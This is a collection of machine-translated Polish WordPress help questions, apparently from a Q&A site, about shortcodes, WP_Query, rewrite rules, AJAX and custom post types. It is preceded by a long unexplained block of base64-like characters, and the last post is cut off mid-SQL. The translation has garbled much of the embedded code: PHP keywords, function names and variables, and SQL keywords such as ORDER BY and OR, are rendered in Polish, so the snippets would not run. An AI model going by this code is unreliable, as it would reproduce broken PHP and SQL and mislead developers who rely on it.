LLfEhekxq9a2HieMi36JLk3v+MgtsTkuaL8hC67CoolSzZRknAixO6VsK0usFZIFMGZgkYLdvAV2pU1kkSmuq+u05/EHtGTo/SO0X2dhL44iOg8INXOwu3Mht3lXtOqsyLcHBBjeSZY9OmG9FfCojctFiAoEtML31d/sGLZVjFCovDZnGFbsX6dZCPuhMlQPpWn41YujAIYlsRZAb6bT/Da6yDzxR3LXgQYnC2bCn1JBxx3pv/i6SEkQlLCgm6Kl09KIagoDlvy6RBTsbkCP+fvGQOUUjNfYvdhAkClMczxNY/K3bVLPFMm2qGhrIQtzFzhw7zcY+hwud+vG71433hgit96fTJzw1yQhkwI3LG+xLIXonMezhLaRT2a+95hZQe9+qmiUhOTppiafH7/bTCJz7EaKcYKNszebbvKeiujXLT53pnhs60WSnq9OmdAcI4VMZcbGQV4lW9TXnaMBY455CaSkVmxkOxNraScRnZyYpYZyOZ0KzfNmjgzv8vW2cPjtHEAvLEwYadmwDfX5vbpquy1kPIiPZHWUH/qUlCUtuaCXdbpX1SJrnyZYJj/xuaMBMDkkRnGeARLodihaExVCpY52BTH9XE96zcwK4J5Rtj+ZoYA7S2bONscZ9jBpJA6Eimrzy87HXp1A3O/1D4//J2747bqcMLXChyBgxoRRLUaqyZvKm0lNv9IRokXCwfX0OexyZtFAqlSlhkSxZ6zKestr1epa4pFIJaIOR+uU6RsGyS3Z0Lz7hm4aBZD5zsSOEbbL80m9Ar98SbP8wANbz66GoTGGTq2cEo8f2lznlLYud2hiFags2vqD0NXvpKRkyMNN+QAaqb+NfunkwfBaTl1J/4bYY3 /7hDisI5H109ISdKf8W4nGVA6ZNngPwxnoQIhB46j+MoEyrUU+MxlZ9SSb2ykoQcxl5gMeiG7zHFAcgimOs7/FPpXuiMPF2LUK89AqpaF9+gAqPh1QFeH7j42 GOybhYq7zfMyENu7eBHPlL/LtgEMWmxTh3G6nbsy5TkKzUcGZ3DMtB4pCvxHpzRQPWbo2kj1DG4vy8e0u7+92OZchU7BCNnCKYP5todU6bYXYNxstXrEivZYH8lcczB1ppO9B6IUD1u1a8ugSksOf3YB2H/P55WoTZRAhh7Jslk7Reu5IP3j9VYzBdVI+QliJBzA1+LGIV2LxLnBwxW4nLZcQ0NIm9tp598gdXzP6BlebnLkFDE2BB7Bu4M/dKnvtFF1+mv5B6fPa2vZz7WAVizjaglUj/ILE80FDCmeoY83hBem3UIPZAV4vpSZJGQ26CaLn8Dyae4v0Xd+KO4pBpuT7uCsCJPQBcNBIKkINgGtNys+QK1gR1d0Yq2Kxfa8tmeOnx3u5ukuEpstlV4nEcvtc8QJJxZgOjuzKXGmga000Ye3mOI7TszuHhPujMLiwOve8ZkoRWBjh49JPTz+T1TRdGyNFeo102EZmKDsFUTLf/mqID+BwVgA3jZrJKM26P5AR45sAvf5jqGRcaxyvAy/hocNLedCGQRvClYW5AYDxYk0n+sJF7yDXcsV3tqRcGnXPM5baSWjbr7b1wOmbEX3IexeE2iaCcnMGHyMFfd78yg2HPIE+yZR17OJRa4cFXO01CooEkyYkQjNP2/D24rXwk1wkMvJf4LJw75eEXNX5Qk/je8RIu/x6z3SctoXcW9G9ap2NDmAnT0sLJk6Fgg8HdsGMsaz+iZ6pYjmhiYW7K32z1C3Ef78/ljy4fZ6FCsRXv6+QsRPGeGbGpn25vhKfbvAbi1KYmJnTu1LjXM0Y3Xlkr7Uo/pbnFCDNyElbt0rX6fWmAp6eWZEcpseX4DtauZa5g5s4dtm5Kw0LZilUZzsnQAm+Bnz9rlvyVX4Ax5+ Pna9acWHG7oTBWp1IFIvuu+SeIZIzG+jCvY+QJJFc1pWJghfzkBW4yZidfaoEQzzN


title: wyświetl rozmiar obrazu na ekranie biblioteki multimediów

text: próbuję dodać rozmiar obrazu na ekranie biblioteki multimediów, więc będzie po prostu obsługiwać obrazy. Czy ktoś to robi przede mną? Każda pomoc jest doceniana. Franciszek


title: tekst edytora ucięty przy użyciu 2 spacji (po kropkach)

text: Zauważyłem, że mój edytor TinyMCE w Wordpress MU 2.9.2 traci tekst po podwójnej spacji podczas zapisywania posta na blogu. Jest to problem, ponieważ niektórzy użytkownicy zwyczajowo używają dwóch spacji po kropce. W tych dwóch przykładach są dwie spacje między „test” i „test”: * „test test” („test__test”) staje się „test” po zapisaniu bloga * „test test, reszta mojego długiego postu na blogu” („test__test,_the_rest_of_my_long_blog_post”) staje się „testem” po zapisaniu bloga _**Edytuj_**: Zaktualizowałem WP 3.2.1 i mogę potwierdzić, że to nadal jest problem.


title: Zmodyfikuj kod dla functions.php za pomocą określonego adresu URL użytkownika Twittera i hashtagów

text: Chcę importować tweety z pewnymi hashtagami i natknąłem się na tę świetną odpowiedź i kodowanie w poniższym linku. Moje pytanie brzmi, jak po prostu uzyskać posty od jednego konkretnego użytkownika Twittera i czy kod w poniższym linku zostanie dostosowany do wielu hashtagów. Jeśli ktoś może doradzić, gdzie zmodyfikować kodowanie, aby dodać do functions.php z konkretnym adresem URL użytkownika, będzie bardzo mile widziany. Znam php i wordpressa, ale wciąż poznaję wszystkie szczegóły. Dzięki jeszcze raz!! Twoje zdrowie! Importowanie tweetów z określonymi hashtagami do Wordpress


title: Użycie get_posts() z ustawionym parametrem tax_query nie działa z załącznikami

text: Pracuję nad projektem, który wymaga wyszukiwania załączników z daną parą taksonomii-slug (w tym przypadku `category`=`javascript`). Używam `get_posts()` z ustawionym `tax_query`, aby to osiągnąć, ale zwraca zilch. Tablica przekazywana do get_posts() jest następująca: array(8) { ["tax_query"]=> array(1) { [0]=> array(3) { ["taksonomia"]=> string(8) "kategoria" ["pole"]=> string(4) "slug" ["termin"]=> array(1) { [0]=> string(10) "javascript" } } } ["liczba postów"]= > int(-1) ["orderby"]=> string(10) "menu_order" ["order"]=> string(3) "ASC" ["post_status"]=> string(7) "odziedzicz" // 'dowolny' również próbował ["post_type"]=> string(10) "attachment" ["post_mime_type"]=> string(34) "application,video,text,audio,image" ["post_parent"]=> string( 0) "" } Istnieje obraz w kategorii `JavaScript` (który zawiera `javascript` jako slug), ale nie jest zwracany. Ponadto, jeśli nie jest to istotne, kategoria jest ustawiana za pomocą kategorii mediów. **EDIT:** `post_status=>inherit` i `post_status=>any` zostały wypróbowane bez zmiany wyniku końcowego. **EDIT 2:** Tworzenie nowego obiektu `WP_Query`, pomijając `meta_query` tworzy poprawny kod SQL, ale dołączenie `meta_query` dodaje to: `AND 0 = 1`, co oczywiście sprawia, że całe zapytanie nic nie zwraca. Cały wygenerowany kod SQL znajduje się poniżej: SELECT SQL_CALC_FOUND_ROWS cms_posts.ID FROM cms_posts WHERE 1=1 AND 0 = 1 AND ( cms_posts.post_mime_type LIKE 'aplikacja/%' OR cms_posts.post_mime_type LIKE 'video/%' OR cms_posts. /%' LUB cms_posts.post_mime_type LIKE 'audio/%' LUB cms_posts.post_mime_type LIKE 'image/%') AND cms_posts.post_type = 'attachment' AND (cms_posts.post_status <> 'trash' AND cms_posts.'post_status <> -draft' AND cms_posts.post_status <> 'spam') GROUP BY cms_posts.ID PORZĄDEK BY cms_posts.menu_order LIMIT ASC 0, 10


title: Jak wyłączyć menu wysuwane administratora?

text: Poważnie, z pasji nienawidzę wysuwanych menu, a teraz wyskakują one w każdym miejscu na ekranie administratora. (Są one szczególnie ohydne, gdy używasz niebieskiego motywu administratora, ponieważ dodają ciemną strzałkę. Zabrudzenie oczu.) Jak wyłączyć menu wysuwane? Dodają zero funkcjonalności i użyteczności do mojego przepływu pracy. Dziękuję


title: Usunąć niestandardowy typ wpisu w adresie URL?

text: Utworzyłem niestandardowy wpis typu Track i chcę, aby adres URL posta był dokładnie taki sam, jak normalny adres URL posta. Teraz dodaje dodatkowy „utwór” w adresie URL, np.: www.site.com/track/title. Chcę www.site.com/title. Jak mogę to zrobić?


title: Dodaj niestandardowy typ posta do zapytania

text: $zapisane = $wp_query; query_posts(array('tag__in' => $tag_array, 'showposts' => $args['posts_per_page'])); Potrzebuję tego do wysyłania zapytań do standardowych postów i niestandardowego typu postu o nazwie „właściwość”. Nie wydaje mi się, aby wyświetlał cokolwiek z niestandardowego typu postu, gdy próbowałem dołączyć inną tablicę. Myśli?


title: Alternatywa OpenX dla wordpressa?

text: Szukam kierownika ds. reklamy, abym mógł obsługiwać wszystkie reklamy i jednostki AdSense w jednym miejscu. używałem otwartego do tej pory, ale wygląda na to, że zamierzają wycofać swój system (ten o otwartym kodzie źródłowym) - czego wtedy używasz?


title: Tworzenie instrukcji If/Else przy użyciu skrzynek radiowych WP Alchemy MetaBox

text: Używam klasy WPAlchemy MetaBox do tworzenia dodatkowych metaboxów w mojej witrynie. Jedna ma sekcję z grupą skrzynek radiowych. Zakodowałem to następująco: <?php $mb->the_field('docposs'); ?> <input type="radio" name="<?php $mb->nazwa_(); ?>" value="tak"<?php $mb->stan_radia('tak')?' sprawdzone="sprawdzone"':''; ?>/>Tak <input type="radio" nazwa="<?php $mb->nazwa_(); ?>" wartość="nie"<?php $mb->stan_radia('nie')?' sprawdzone="sprawdzone"':''; ?>/>Nie <input type="radio" name="<?php $mb->nazwa_(); ?>" value="nieznane"<?php $mb->stan_radia('nieznane')?' sprawdzone="sprawdzone"':''; ?> />Nieznane To, co chciałbym zrobić w moim szablonie, to wywołanie echa napisu w oparciu o to, które pole zwraca zaznaczone, coś takiego: if (checkbox == yes) { echo "Jeśli chcesz zrobić"; } elseif (checkbox == no) { echo "szarlotka od podstaw"; } else { echo "najpierw musisz wymyślić wszechświat"; } Ale nie mogę sprawić, żeby to zadziałało :( To (i wiele niedorzecznych wariacji na ten temat) po prostu zwraca 'tak' zamiast echa.if ($provenance_mb->the_value('docposs') == yes) { echo 'hello world' ; } Każda pomoc byłaby mile widziana.


title: Zmiany w bazie danych WordPress przy użyciu phpMyAdmin nie są odzwierciedlone na blogu

text: Aktualizuję swoją bazę danych za pomocą interfejsu użytkownika phpMyAdmin, a zmiany nie są odzwierciedlane na blogu WordPress. Powodem tego jest to, że ostatnio dokonano pewnych zmian na blogu, witryna zawiesiła się i szukała możliwości przywrócenia zmian w kodzie po stronie bazy danych. Aktualizując bloga za pomocą pulpitu administracyjnego WordPress, mogę go zaktualizować. Ale nie mogę zaktualizować go z wewnętrznej bazy danych. Wyłączyłem wtyczki i upewniłem się, że nie ma buforowania. Jedyny wpis buforowania w pliku `wp-config.php` jest ustawiony jako false . define('WP_CACHE', fałsz); //Dodane przez WP-Cache Manager Proszę wskazać, kto ma dodawać zmiany do bazy danych, a to samo zostanie odzwierciedlone lub cofnięte z wpisu na blogu na WordPress.


title: Dlaczego mój krótki kod jest wykonywany przed innymi treściami?

text:
Na stronie mam następujący tekst. Jak widać, mój krótki kod znajduje się na samym dole, ale jakoś, gdy kod działa, wyjście mojego krótkiego kodu jest wstawiane na górze strony, zamiast podążać za jego poprzednią zawartością.   [adres_barcelony] oto moja rejestracja krótkiego kodu w pliku function.php: <?php add_shortcode( 'adres_barcelony', 'barcelona_shortcode_handler' ); function barcelona_address_func() { print "
sdsdsds
"; } function barcelona_shortcode_handler( $atts, $content=null, $code="" ) { if (function_exists($code . "_func")) { call_user_func($code . "_func", $atts); } } ?> a wynik to:
sdsdsds


title: Tworzenie 2 witryn WordPress wzajemnie przeszukiwanych i nie tylko

text: Mam nowego klienta, który obecnie korzysta z 2 stron WordPress. Pierwsza / główna witryna jest hostowana pod adresem www.domain.com, a witryna dodatkowa znajduje się pod adresem info.domain.com. Jednak obie witryny muszą być wzajemnie przeszukiwane, tj. przeprowadzić wyszukiwanie z jednej witryny i uzyskać odpowiednie wyniki z obu. Zastanawiałem się więc nad powieleniem treści i funkcji witryn info.domain.com na stronie głównej. Ale ponieważ strona „informacyjna” używa innego szablonu i ma różne wtyczki, nie sądzę, że jest to świetna opcja. Więc po krótkich badaniach, jestem skłonny do stworzenia środowiska wielostanowiskowego. Zasoby internetowe, które przeczytałem, sugerują, że pozwoli mi to korzystać z różnych wtyczek i motywów w obu witrynach, jednocześnie umożliwiając wyszukiwanie z dowolnej witryny, aby wyświetlić wyniki z obu witryn. Czy to jest poprawne? Jeśli skonfiguruję multiwitrynę, czy jest możliwe/bezproblemowe utrzymanie strony głównej pod adresem www.domain.com, podczas gdy witryna „info” pozostaje dostępna przez „info.domain.com”? Czy jest lepsze rozwiązanie? Z góry dziękuję. Wszelkie konstruktywne uwagi / opcje będą mile widziane.


title: Zmodyfikuj pole informacji biograficznej profilu

text: Szukałem haka do edycji pola informacji biograficznej i jest to H3, ale bez powodzenia. Znalazłem edit_user_{$field}, czy istnieją określone hooki? Myślę, że mogę podłączyć się do istniejącego tagu „opis”? Z góry dziękuję. edit_user_profile('opis', 'zmiana_opisu'); function change_description(){ // coś tutaj? }


title: Potrzebujesz „strony z logo” przed stroną wordpress!

text: Zrobiłem tę stronę dla mojego klienta za pomocą WordPressa. Wszystko świetnie, ale teraz zapytał mnie, że kiedy ktoś ładuje stronę, przed całą dobrocią WP, jest strona pokazująca tylko logo, a następnie klikasz logo i przechodzisz do strony głównej. Myślę, że mógłbym to zrobić, zmieniając indeks WP na inną nazwę i mieć rzeczywisty plik indeksu jako logo itp.; lub masz wyskakujące okienko * na rzeczywistym indeksie WP, które przyciemnia resztę strony, a następnie klikasz logo i znika, umożliwiając normalne poruszanie się po stronie. Musiałby pojawić się tylko wtedy, gdy użytkownik załaduje stronę po raz pierwszy, a nie wtedy, gdy „wrócisz” do niej z innej strony. *Jak na przykład po kliknięciu zrzutu ekranu, na przykład na stronie panic.com/coda. Czy ktoś może mi pomóc z którąś z opcji lub pokazać mi nową? Dziękuję!


title: Zaimportuj stary zrzut SQL do nowej wersji Wordpress

text: Próbuję przywrócić blog Wordpress z kopii zapasowej. Niestety wszystko, co mam, to zrzut SQL bazy danych wygenerowany przez phpMyAdmin. Zrzut został utworzony, gdy na blogu działał Wordpress 2.9/2.9.1/2.9.2. Nowy blog to zupełnie nowa instalacja Wordpress 3.2.1. Jak mogę zaimportować zawartość zrzutu SQL do nowej instalacji Wordpress? Próbowałem zaimportować zrzut do bazy danych za pomocą phpMyAdmin _przed_ instalacją Wordpressa, ale wtedy install.php mówi mi, że Wordpress wydaje się być już zainstalowany i powinienem usunąć tabele bazy danych.


title: Ajaxurl nagle nie został zdefiniowany

text: Rozwijam wtyczkę wordpress, w której używam wywołania ajax do przesyłania danych formularza, działało dobrze, a potem nagle pojawia się błąd konsoli mówiący, że ajaxurl (adres URL przekazany do postu ajax) nie jest zdefiniowany? Moja funkcja jQuery: $(".button").click(function() { $(".error").hide(); var name = $(":input.name").val();if (name == "") { $("label#nameErr").show(); $(":input.name").focus(); return false; } var email = $(":input.email"). val(); if (email == "") { $("label#emailErr").show(); $(":input.email").focus(); return false; } var phone = $(" :input.phone").val(); if ((phone == "") || (isNaN(phone))) { $("label#phoneErr").show(); $(":input.phone ").focus(); return false; } var info = 'imię:' + imię + '&email:' + e-mail + '&telefon:' + telefon; var ajaxurl = '<?php echo admin_u rl("admin-ajax.php"); ?>'; alert(informacje); jQuery.ajax({ type:"post", dataType:"json", url: ajaxurl, data: {action: 'submit_data', info: info}, success: function(response) { if (response.type == " sukces") { alert("sukces"); } else { alert("niepowodzenie"); } } }); zwróć fałsz; }); var ajaxurl = ''; line to rozwiązanie, które właśnie znalazłem w sieci, ale teraz pozostawia mi to błąd 403 zabroniony.


title: Lokalizacja, elementy escape html w połowie zdania

text: Próbuję przetłumaczyć kilka ciągów znaków w nowej wtyczce, którą zamierzam wydać. Mam ustawiony ciąg znaków: ` <?php _e('Obraz <em>MUSI</em> być mniejszy niż <strong>500 KB</strong>.', CUSTOM_TEXT_DOMAIN); ?> ` Jak mógłbym uciec od elementów, aby nie zostały uwzględnione w tłumaczeniu poedit? Dziękuję!


title: Jaki jest właściwy sposób na zrobienie motywu mobilnego dla WordPressa?

text: Tworzę motyw niestandardowy wraz z odpowiednikiem niestandardowego motywu mobilnego. Nie współdzielą zasobów, CSS itp. (bo lubię trzymać je czyste i oddzielne). Moje pytanie brzmi: jak wszyscy (najlepiej inni profesjonaliści) robią to? Używam skryptu Mobile Detect, aby przekierowywać użytkowników do podfolderu „mobile”, gdy uzyskują dostęp do witryny za pomocą telefonu komórkowego itp. Czy istnieje inny, bardziej elegancki sposób na zrobienie tego?


title: Jak utworzyć stronę przesyłania (strona frontowa)

text: Chciałbym mieć metodologię tworzenia funkcjonalności. Gdy użytkownik jest podłączony, będzie mógł uzyskać dostęp do nowej strony. Na tej stronie będzie miał możliwość złożenia niektórych pól, takich jak: tytuł, opis, zdjęcie i kilka tagów. Myślałem o kilku rzeczach: * Muszę stworzyć małą wtyczkę, która wyświetli formularz * Muszę utworzyć niestandardowe typy postów z polami powyżej Czy mam rację? Następnie celem jest zarządzanie wszystkimi zgłoszeniami (strona administratora). Administrator zdecyduje, czy ten niestandardowy typ postu zostanie opublikowany. Jaki jest sposób sprawdzania poprawności, wstawiania do bdd i wyświetlania zgłoszeń w panelu administratora?


title: Treść nie ładuje się podczas korzystania z akcji the_content

text: Kiedy używam add_action( 'the_content'... Zawartość strony po prostu się nie ładuje. Również zawartość, którą próbuję, pojawia się we wszystkich rodzajach miejsc na stronie. Dlaczego? Czy istnieje sposób, aby zmusić ją do wyświetlania tylko pod moim wpisem?funkcja __construct() { add_action( 'wp_footer', array(&$this, 'loadRatingsJs')); add_action('wp_ajax_valnetincGetRatings', array(&$this, 'getRatings') ); , array(&$this, 'getRatings' ) ); //add_action( 'the_excerpt', array(&$this, 'getRatings' ) ); add_filter( 'the_content', array(&$this, 'getRatings') ) ; } public function getRatings($content) { //echo $postID; if(function_exists('the_ratings')) { /*if(is_null($postID)) { the_ratings(); } else { the_ratings('div', $postID); }*/ $rating = the_ratings(); return $content.$rating; } }


title: Problemy z usunięciem paska administracyjnego

text: Próbuję usunąć pasek administratora z frontonu motywu motywu. Znalazłem następujący blok kodu: add_filter( 'show_admin_bar', '__return_false' ); remove_action( 'personal_options', '_admin_bar_preferences' ); Co działa dobrze. _Jednak_ chciałem dodać wybór dla użytkownika, abym mógł dodać stały blok kodu do mojego szablonu i umożliwić użytkownikom włączanie i wyłączanie paska administracyjnego. Pomyślnie dodałem przełącznik w obszarze administracyjnym i pomyślnie oddzwoniłem wartość, jednak gdy testuję wartość w celu kontrolowania wywołania zwrotnego paska administracyjnego, pasek administracyjny działa, ale CSS zastosowany do elementu HTML (`margin-top: 28px !important;`) pozostaje, pozostawiając 28px przerwę na górze mojego motywu. Oto blok kodu, którego używam do wywołania wartości z powrotem i odpowiedniej odpowiedzi: function block_admin(){ $show = get_option('admin_bar_'); $pokaż = $pokaż['admin_bar_toggle']; if (!$show || $show != 'on'){ add_filter( 'show_admin_bar', '__return_false' ); remove_action( 'personal_options', '_admin_bar_preferences' ); } } add_action('init', 'block_admin'); * * * **Sugestia** Zgodnie z wymaganiami, moja niestandardowa opcja (przy użyciu `register_setting`) nie jest inicjowana do momentu uruchomienia hooka `admin_menu`, podczas gdy `block_admin` jest uruchamiany podczas `init`. Jednak nie sądzę, że jest to problem, ponieważ nie sądzę, że `get_option` zależy od zarejestrowanego ustawienia, ale raczej od opcji istniejącej (lub nie) w bazie danych.


title: Dwie zasady przepisywania

text: Mam jeden folder w głównym folderze WordPress o nazwie links, aw tym folderze znajduje się plik o nazwie index.php. w innym miejscu mojej witryny WordPress generuję linki, takie jak http://mysite.com/links/index.php?link=55 (jest więcej niż jeden link). Jak mogę mieć konkretną regułę przepisywania (np. http://mysite.com/link/55) dla powyższego linku w moim pliku .htaccess, która nie przerywa własnej reguły WordPressa i nie powoduje błędu wewnętrznego serwera? Oto moja zawartość .htaccess: # BEGIN WordPress <IfModule mod_rewrite.c> RewriteEngine On RewriteBase / RewriteRule ^link/([^/]*)$ /wordpress/links/index.php?link=$1 [L] RewriteBase /wordpress / RewriteRule ^index\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /wordpress/index.php [L] </IfModule> # KONIEC WordPress Obecnie jestem na localhost, a mój folder wordpress znajduje się w /www/wordpress. ale kiedy klikam `http://localhost/link/50a25386721bb` otrzymuję błąd 404. Co jest nie tak?


title: Uzyskaj liczbę niestandardowych typów postów utworzonych przez bieżącego użytkownika

text: Próbuję uzyskać liczbę opublikowanych postów w niestandardowym typie posta dla bieżącego użytkownika (do wyświetlenia na stronie profilu). Znalazłem to tutaj na forach: <?php global $wp_query; $curauth = $wp_query->get_queried_object(); $post_count = $wpdb->get_var("SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = '" . $curauth->ID . "' AND post_type = 'user_video' AND post_status = 'publish'"); ?> Ale to po prostu daje mi duże ZERO, mimo że na pewno są opublikowane posty tego typu. Co robię źle i czy istnieje lepszy sposób na zrobienie tego?


title: Nginx Rewrite Rule:: index.html dodany do każdego permalinka

text: Przez kilka godzin pracowałem nad uruchomieniem mojej witryny WordPress na dodatkowym serwerze VPS z Nginx. Strona główna jest załadowana, a pamięć podręczna W3T działa OK, ale permalinki nadal są zepsute i każdy z nich prowadzi do 404: 404 Not Found nginx/0.8.53 W error.log znalazłem 2012/12/22 01:06: 16 [błąd] 16865#0: *2 "/home/user/domain.com/web-development/pdf2html-for-cforms/index.html" nie został znaleziony (2: brak takiego pliku lub katalogu), klient: 125.25 .32.95, serwer: www.domain.com, żądanie: „GET /web-development/pdf2html-for-cforms/HTTP/1.1”, host: „www.domain.com”, referrer: „http://www. domain.com/" Tak więc index.html jest nadal szukany dla każdego permalinka, jak się wydaje. Oto, co mam w /home/user/domain.com/wordpress.conf # WordPress single blog rules. # Zaprojektowany do włączenia w dowolny blok serwera {}. # Ta kolejność może wydawać się dziwna - jest to próba dopasowania jako ostatnia, jeśli poniższe reguły zawiodą. # http://wiki.nginx.org/HttpCoreModule lokalizacja / { try_files $ uri $uri/ /index.php?$args; } # Dodaj końcowy ukośnik do żądań */wp-admin. przepisać /wp-admin$ $scheme://$host$uri/ na stałe; # Dyrektywy do wysłania wygasają nagłówki i wyłączają rejestrowanie błędów 404. lokalizacja ~* ^.+\.(ogg|ogv|svg|svgz|eot|otf|woff|mp4|ttf|rss|atom|jpg|jpeg|gif|png|ico|zip|tgz|gz|rar|bz2 |doc|xls|exe|ppt|tar|mid|midi|wav|bmp|rtf)$ { access_log off; log_not_found wyłączone; wygasa max; }, które otrzymałem z WordPress Codex. Chciałem uruchomić Nginx Helper , który ma pomóc w problemie z permalinkiem WordPress na Nginx , ale mam PHP 5.2 i 5.3 jest potrzebne , więc nie mogłem i nie chciałem jeszcze kompilować nowego PHP , ponieważ to nie jest moje dziedzina wiedzy na dzień dzisiejszy. Czy ktoś, jak mogę rozwiązać ten problem i uruchomić moją niestandardową strukturę permalinków `/%category%/%postname%/`? ## Aktualizacja Wypróbowano nowe rozwiązanie wordpress.conf z lokalizacji biblioteki Nginx / { index index.php index.html index.htm; try_files $uri $uri/ /index.php?q=$uri&$args; } Nadal dodano index.html. I tego adresu URL z index.html nie można oczywiście znaleźć. Ostatni błąd: 2012/12/22 05:35:54 [błąd] 28148 # 0: * 64 "/home/user/domain.com/web-development/dreamhost-vps-manager-forced-reboot-issues/index. html” nie został znaleziony (2: Brak takiego pliku lub katalogu), klient: 125.25.32.95, serwer: www.domain.com, żądanie: „GET /web-development/dreamhost-vps-manager-forced-reboot-issues/ HTTP/1.1", host: "www.domain.com", referrer: "http://www.domain.com/" Sprawia, że zastanawiasz się, czy plik konfiguracyjny jest załadowany, czy nie. Jak to sprawdzić?


title: Jak dodać konkretny widżet tylko do 1 strony?

text: Chciałbym pokazać widżet tylko na jednej stronie mojej witryny, ponieważ widzę, że nie jest to możliwe, prawda? Czy powinienem to dodać do wszystkich stron mojej witryny, czy nie?


title: problem z adresem URL strony profilu autora wordpress

text: Mam tutaj problem z blogiem wordpress. wszystko wydaje się działać dobrze, ale problem polega na tym, że po każdym poście dołączam informacje o autorze, takie jak obrazek poniżej! [Murali Prashanth] (http://i.stack.imgur.com/fxVmg.jpg), ale kiedy klikam na > Wyświetl wszystkie posty Murali Prashanth hiperłącze przekierowuje mnie na ten adres URL http://muraliprashanth.me/author/Murali%20Prashanth/ Nie wiem, gdzie utworzyć stronę profilu autora, czy mój motyw WordPress obsługuje strony profilu autora lub nie Proszę sugerować, że zmagam się z rozwiązaniem tego problemu z ostatnich 3 miesięcy. Pomoc jest bardzo wdzięczna. Z góry dziękuję.


title: Potrzebujesz porady na temat komentarzy

text: Szukam rozwiązania dla komentarzy wordpress. Lubię standardowe komentarze, już go wystylizowałem i dodałem kilka dodatkowych funkcjonalności. Ale jest jeden, którego nie mogę znaleźć i nie wiem, jak to zrobić. Potrzebuję możliwości, aby niezarejestrowani użytkownicy mogli dodawać komentarze za pomocą jakiegoś serwisu społecznościowego, ![jak na blogspot](http://i.stack.imgur.com/0mrY0.png). Nie chcę więc oferować im możliwości logowania się za pomocą ich serwisu społecznościowego, a jedynie komentowania. UPD: Nie wiedziałem o takiej regule. Więc ok, jak mogę zrealizować tę funkcjonalność? Mam na myśli autoryzację z kontami z dowolnego serwisu społecznościowego tylko w celu dodania komentarza?


title: Problemy z „wymagaj (./xxx)” w IIS7.5

text: Nie jestem pewien, czy to najlepiej pasuje do witryny Wordpress SE, czy też powinno być na Server Fault lub SO... Tak czy inaczej: Mam problemy z uruchomieniem Wordpressa na zupełnie nowym serwerze 2008R2 z IIS7.5. Otrzymuję błąd informujący, że nie można znaleźć wymaganego pliku: > Błąd krytyczny PHP: require(): Nieudane otwarcie wymaganego './wp-blog-header.php' > (include_path='.;C:\php\pear' ) w D:\ścieżka\do\mojej\strony\blog\index.php on line > 17 Po rozejrzeniu się po sieci zauważyłem, że wiele osób miało ten problem i naprawiło go usuwając część './' oświadczenia require - nie jest to jednak dobre rozwiązanie. Ta sama składnia jest używana w całym Wordpressie i musi zostać zastąpiona w wielu plikach. Dodatkowo, jeśli zaktualizuję stronę, problem pojawi się ponownie. Działa to bez problemów na serwerze R1 (IIS7), a także na moim lokalnym komputerze z Win 7 - pierwszy, który widziałem, dotyczy tego problemu na serwerze R2. Czy ktoś może mi pomóc, aby ścieżki względne './' działały dla Wordpressa? Dziękuję


title: uzyskaj adres URL polecanego obrazu według identyfikatora strony

text: Używam `wordpress 3.4.1`. Muszę wyświetlić polecany obraz strony. Jak mogę uzyskać `polecany adres URL obrazu` według konkretnego `identyfikatora strony`. Jakaś pomoc?


title: Wtyczka Wp-ecommerce nie działa z wtyczką Mobile Detector?

text: Tworzę nowy motyw strony mobilnej. a także strona na komputery stacjonarne. Do przełączania motywu używam wtyczki Mobile Detecter. Ale pojawiają się pewne problemy, gdy przełączam witrynę z komputera na witrynę mobilną i ponownie przełączam się na wersję mobilną na komputer, gdy moja strona sklepu nazywa się szablonem mobilnym. Czy ktoś może mi zasugerować zmianę motywu, która jest lepszą wtyczką do przełączania motywu? Proszę o sugestię, jakiego rodzaju problem występuje.


title: Chcesz zmodyfikować wtyczkę - Tweetily - Czy mogę ustawić tweet jako pole niestandardowe zamiast tytułu posta?

text: http://wordpress.org/extend/plugins/tweetily-tweet-wordpress-posts- automatic/ Zastanawiałem się, czy w jakiś sposób można zrobić tweetowanie z niestandardowym polem zamiast tytułem posta? w top-core.php, w linii 214 if ($tweet_type == "title" || $tweet_type == "titlenbody") { $title = stripslashes($post->post_title); $tytuł = strip_tags($tytuł); $title = preg_replace('/\s\s+/', ' ', $tytuł); } else { $title = ""; } Czy mogę zastąpić post_title czymś innym, co może załatwić sprawę?


title: Obraz załącznika pojedyncza strona

text:
Jak utworzyć pojedynczą stronę posta dla pojedynczego obrazu załącznika poniżej i link do niego? <?php get_header(); ?>
 <?php if (have_posts()) : ?>

<?php single_cat_title(); ?>

 <?php while (have_posts()) : the_post(); ?> <?php $obrazy = get_post_meta($post->ID, 'za_plupload'); ?> <?php $obrazy = implode( ',' , $obrazy ); $images = $wpdb->get_col( " SELECT ID FROM {$wpdb->posts} WHERE post_type = 'załącznik' AND ID w ({$images}) ORDER BY menu_order ASC " ); ?> <?php $i = 0; ?> <?php foreach ($obrazy jako $att) { $src = wp_get_attachment_image_src($att, 'pełny'); $src = $src[0]; $image_path = thumbGen($src,330,0,"crop=1&halign=center&valign=center&return=1"); $image_all = get_bloginfo('url').$image_path; $my_image = array_values(getimagesize($image_all)); lista($szerokość, $wysokość, $typ, $atr) = $mój_obraz; ?> <li class="box image_holder" style="height:<?php echo $height; ?>px!important;"><a href="<?php echo $image_path2; ?>" style="height: <?php echo $wysokość; ?>px!ważne;"><img src="<?php echo $ścieżka_obrazu; ?>" alt="" szerokość="330" wysokość="<?php echo $wysokość; ? >" class="image" />
 <?php $i++; ?> <?php } ?> <?php endwhile; ?>

 <?php endif;?> <?php wp_reset_query(); ?>

 <?php get_footer(); ?>


title: Nie uzyskuje prawidłowych informacji z wp_Query w wordpressie przy użyciu łatwych typów treści

text: Masz problemy z uporządkowaniem właściwych informacji za pomocą WP_Query wraz z łatwymi typami treści. Moje zapytanie wygląda tak <?php $query = new WP_Query( array( 'post_type' => 'buildarea', 'territory' => 'centrum' )); while ($query->have_posts()) : $query->the_post(); echo the_content(); koniec; // Przywróć oryginalne dane posta wp_reset_postdata(); ?> Terytorium to taksonomia i chcę uporządkować elementy należące do "centrum" i do typu "buildarea". Mam też post-type o nazwie "combuilding" używający taksonomii sam. Kiedy używam zapytania, otrzymałem wynik zarówno z "combuildingu", jak i "buildarea". Co zrobiłem źle? * * * Wyniki z `var_dump($query->request);` SELECT SQL_CALC_FOUND_ROWS wp_posts.ID FROM wp_posts INNER JOIN wp_term_relationships ON (wp_posts.ID = wp_term_relationships.object_id) WHERE 1=1 AND (ws_termid (11)) AND wp_posts.post_type IN ('combuild', 'residential', 'seniorh', 'avapartm', 'add-contact', 